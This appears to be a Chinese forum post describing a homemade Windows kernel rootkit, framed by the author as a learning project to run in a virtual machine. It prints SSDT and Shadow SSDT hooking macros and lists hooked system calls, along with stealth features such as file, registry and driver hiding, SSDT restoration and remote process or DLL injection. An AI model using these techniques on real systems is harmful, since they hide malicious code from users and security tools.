这里写的ROOTKIT比较简单(有些代码是消化别人的代码后改写过来的),高手跳过.......
包含以下内容:(详细请看源代码)
SSDT Hook
//hook system call
#define HOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
pOrigFunc = (PVOID)InterlockedExchange( \
(PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ], \
(LONG)pHookFunc)
//unhook system call
#define UNHOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
InterlockedExchange( \
(PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ],\
(LONG)pOrigFunc)
SSDT HOOK了如下函数:
ZwQueryValueKey
ZwEnumerateValueKey
ZwQueryDirectoryFile
ZwOpenProcess
ZwDeleteKey
ZwDeleteValueKey
ZwSaveKey
ZwLoadDriver
ZwSetSystemInformation
ZwTerminateProcess
Shadow Hook
仿照SSDT HOOK,下面定义两个宏,让Shadow Hook和SSDT Hook一样简单!
//hook shadow system call
#define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
pOrigFunc = (PVOID)InterlockedExchange( \
(PLONG)&MappedSystemCallTable[ (SysCallIndex) ], \
(LONG)pHookFunc)
//unhook shadow system call
#define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
InterlockedExchange( \
(PLONG)&MappedSystemCallTable[ (SysCallIndex) ],\
(LONG)pOrigFunc)
上周一接到腾讯的电话面试,由于有一段时间没研究HOOK了,问到Shadow Hook时没回答好!汗!
现在把Shadow Hook重新整理了一下!
Shadow Hook了如下函数,程序框架比较好,容易加入新挂钩函数
NtUserFindWindowEx
NtUserGetForegroundWindow
NtUserQueryWindow
NtUserBuildHwndList
NtUserWindowFromPoint
NtUserSetWindowsHookEx
NtUserGetDC
NtUserGetDCEx
NtUserSendInput
为了保护进程,研究了终止进程的方法
WINDOWS内核定时器
老土的文件/目录隐藏
注册表键值隐藏
驱动隐藏
系统线程
IRP文件操作
多种加载内核级ROOTKIT方法
Ring3中恢复SSDT(ZwSystemDebugControl)
从资源释放文件
远程进程注入
消息钩子注入DLL
查找窗口
查找进程
注意:
不要随便运行程序,最好在虚拟机下运行!此程序仅供学习WINDOWS内核驱动编程用!
在自己的ntddk.h中的结构IO_STACK_LOCATION添加如下代码才能顺利通过编译:
//Parameters for IRP_MJ_DIRECTORY_CONTROL
struct {
ULONG Length;
PUNICODE_STRING FileName;
FILE_INFORMATION_CLASS POINTER_ALIGNMENT \
FileInformationClass;
} QueryDirectory;
下面两图分别是程序启动信息和在Ring0恢复SSDT:
[课程]Android-CTF解题方法汇总!